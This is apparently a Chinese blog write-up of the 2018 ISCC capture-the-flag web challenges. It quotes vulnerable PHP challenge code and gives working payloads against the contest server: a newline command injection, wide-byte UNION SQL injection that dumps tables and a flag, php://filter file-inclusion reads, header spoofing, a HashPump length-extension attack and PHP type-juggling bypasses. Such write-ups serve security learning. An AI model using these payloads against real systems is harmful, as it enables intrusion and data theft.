2018 ISCC web

WEB

0x01 比较数字大小

image

这个挺简单的了,直接F12修改maxlength的长度行了

0x02 本地的诱惑

image

这个好像是网络安全实验室平台上的一个原题,查看源代码即可

image

0x03 你能跨过去吗?

image

image
据说是web+crypto题,先unescape解密再utf-7解密

0x04 一切都是套路

image

御剑扫不出来,尝试手动写,发现是index.php.txt这个文件没删.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

include "flag.php";

if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");

if (!isset($_POST["flag"]) )
die($_403);

foreach ($_GET as $k => $v){
$$k = $$v;
}

foreach ($_POST as $k => $v){
$$k = $v;
}

if ( $_POST["flag"] !== $flag )
die($_403);

echo "flag: ". $flag . "\n";
die($_200);

?>

构造url如下:

1
http://118.190.152.202:8009/index.php/?_200=flag

hackbar post如下:

1
flag=flag

0x05 你能绕过吗?

image

考点:文件包含漏洞

1
http://118.190.152.202:8008/index.php?f=articles&id=1
  • aticles.php报错error…,猜想里面本来就有一个.php
1
2
http://118.190.152.202:8008/index.php?f=php://filter/read=convert.base64-encode/resource=index
&id=1

报错error…,尝试把php改成pHp,成功,得到flag,猜想后台是用了正则表达式之一的/i

0X06 web02

image

点开后说自己并不是本机的ip,尝试伪造ip

1
2
3
4
5
X-Forwarded-For
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr

发现只有Client-IP:127.0.0.1是可以成功的

0x07 请ping我的ip 看你能Ping通吗?

image

原理:命令注入漏洞

1
http://118.190.152.202:8018/?ip=127.0.0.1%0acat%20index.php

1
2
3
4
5
6
7
%0a符号
换行符
%0d符号
回车符
;符号
在 shell 中,担任”连续指令”功能的符号就是”分号”
&符号

这里的flag.txt被哪个人给删掉了,flag在/home目录下

0x08 Please give me username and password!

image

访问index.php.txt得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
$flag = "***********";
if(isset($_GET['username'])){
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";
}
else{
print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';
}else
print '<p>Password too little</p>';
}else
print '<p>Password too long</p>';
}else
print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
print $flag;
?>

科学计数法+数组漏洞绕过

1
http://118.190.152.202:8017/?password=9e9&username[]=

0x09 SQL注入的艺术

image

1
http://118.190.152.202:8015/index.php?id=1

注入点在个人信息,进行尝试发现一直单引号没反应,想起sql宽字节注入,最后发现过滤了#,这里用%23绕过

1
http://118.190.152.202:8015/index.php?id=1%df' and 1 =1%23

1
http://118.190.152.202:8015/index.php?id=0%df' union select 1,2,3,4,5,6,7,8%23

测试后有8列

1
http://118.190.152.202:8015/index.php?id=0%df' union select 1,2,3,4,5,6,database(),8%23

爆数据库为baji,显示为在2,4,7三个地方

1
http://118.190.152.202:8015/index.php?id=0%df' union select 1,2,3,4,5,6,group_concat(table_name) ,8 from information_schema.tables where table_schema=database()%23

爆表为admins

1
http://118.190.152.202:8015/index.php?id=0%df' union select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_name=0x61646d696e73%23

爆出字段为id,userName,userPwd,email,sex,role,money,flag

1
http://118.190.152.202:8015/index.php?id=0%df' union select 1,2,3,flag,5,6,7,8 from admins%23

爆flag

0x10 试试看

image

考点:文件包含漏洞

1
http://118.190.152.202:8006/show.php?img=php://filter/read=convert.base64-encode/resource=1.jpg/resource=../flag.php

查看源代码得到flag,中间的1.jpg/resource第一次见,长姿势了

0x11 web01

image

1
2
3
4
5
6
7
8
9
10
<?php 
highlight_file('2.php');
$flag='{***************}';
if (isset($_GET['password'])) {
if (strcmp($_GET['password'], $flag) == 0)
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>

这里利用strcmp函数数组漏洞即可

0x12 Collide

原理

哈希长度扩展攻击

hash的MD5对数据进行加密的时候,是分组进行加密。

MD5加密的时候会有四个初始向量IV,对第一组数据加密的时候利用的就是四个初始向量,不同的是,在对第二组数据进行加密的时候,使用的并不是四个初始向量,而是将前一组加密后的密文作为下一组的初始向量。

哈希长度扩展攻击便是利用这个特性来实现的。

扩展攻击实现的条件

  • 已知MD5($salt.$data)值,
  • 知道加密的$salt的长度
  • 知道$data的值

    题目分析

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <?php
    include "secret.php";
    @$username=(string)$_POST['username'];
    function enc($text){
    global $key;
    return md5($key.$text);
    }
    if(enc($username) === $_COOKIE['verify']){
    if(is_numeric(strpos($username, "admin"))){
    die($flag);
    }
    else{
    die("you are not admin");
    }
    }
    else{
    setcookie("verify", enc("guest"), time()+60*60*24*7);
    setcookie("len", strlen($key), time()+60*60*24*7);
    }
    show_source(__FILE__);

从源码我们可以获得以下内容

  • enc(“guest”)的值为78cfc57d983b4a17e55828c001a3e781
  • $key的长度为46

题目的关键代码

1
2
3
4
if(enc($username) === $_COOKIE['verify']){
if(is_numeric(strpos($username, "admin"))){
die($flag);
}

这段代码要求我们输入的username在经过enc函数加密之后,与$_COOKIE[‘verify’]的值相等,并且username中必须含有admin。

看到这里,我们就可以想到来利用哈希长度扩展来帮我们解决这个问题。

而且题目给予我们的信息,刚好满足哈希长度扩展攻击的要求。

操作

这里我们使用HashPump这个工具

安装

1
2
3
4
5
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

使用说明

1
2
3
4
Input Signature: 已知的hash值,这里是$_COOKIE['verify']的值
Input Data: 上面的hash值解密后的字符串,这里是guest。
Input Key Length: $key的长度
Input Data to Add: 想要添加的数据,由于题目要求要含有admin,所以这里是admin。

使用

1
2
3
4
5
6
7
➜  HashPump hashpump
Input Signature: 78cfc57d983b4a17e55828c001a3e781
Input Data: guest
Input Key Length: 46
Input Data to Add: admin
5f585093a7fe86971766c3d25c43d0eb
guest\x80\x00\x00\x00\x00\x98\x01\x00\x00\x00\x00\x00\x00admin

然后我们将得到的hash值去替换数据包中$_COOKIE[‘verify’]的值,然后post提交username=guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin即可。

0x13 Only admin can see flag

CBC字节翻转攻击

https://ntwyc2018.github.io/2018/05/12/CBC%E5%AD%97%E8%8A%82%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB/
我博客上有

0x14 php是世界上最好的语言

image

题目代码为如下

image

1
2
3
if(md5($password) == 0){ 
echo "xxxxx";
}

我在hackbar post 数组绕过以及0e绕过,都不行,只会输出 xxxxx

最后我直接在输入框输入 ,结果进入下一关了,不知道是啥原因= =?

https://ntwyc2018.github.io/2018/02/25/phpruoleixing/

第二关代码:

1
2
3
4
5
6
<?php 
include 'flag.php';
$a = @$_REQUEST['a'];
@eval("var_dump($$a);");
show_source(__FILE__);
?>

明显的可变变量漏洞,构造?a=flag即可

0x15 Sqli

image

在我博客里https://ntwyc2018.github.io/2018/05/20/%E5%9F%BA%E4%BA%8E%E5%B8%83%E5%B0%94%E7%9B%B2%E6%B3%A8%E7%9A%84SQL/

0x16 为什么这么简单啊

image

image

第一关比较简单,构造两个请求头

1
2
Referer: http://edu.xss.tv
X-Forwarded-For: 110.110.110.110

image

第二关比较简单,查看源代码有个password的js,里面有一段base64,解码后输入密码得到flag

0x17

文章目录
  1. 1. WEB
    1. 1.1. 0x01 比较数字大小
    2. 1.2. 0x02 本地的诱惑
    3. 1.3. 0x03 你能跨过去吗?
    4. 1.4. 0x04 一切都是套路
    5. 1.5. 0x05 你能绕过吗?
    6. 1.6. 0X06 web02
    7. 1.7. 0x07 请ping我的ip 看你能Ping通吗?
    8. 1.8. 0x08 Please give me username and password!
    9. 1.9. 0x09 SQL注入的艺术
    10. 1.10. 0x10 试试看
    11. 1.11. 0x11 web01
    12. 1.12. 0x12 Collide
      1. 1.12.1. 原理
      2. 1.12.2. 扩展攻击实现的条件
      3. 1.12.3. 题目分析
      4. 1.12.4. 操作
    13. 1.13. 0x13 Only admin can see flag
    14. 1.14. CBC字节翻转攻击
    15. 1.15. 0x14 php是世界上最好的语言
    16. 1.16. 0x15 Sqli
    17. 1.17. 0x16 为什么这么简单啊
    18. 1.18. 0x17
,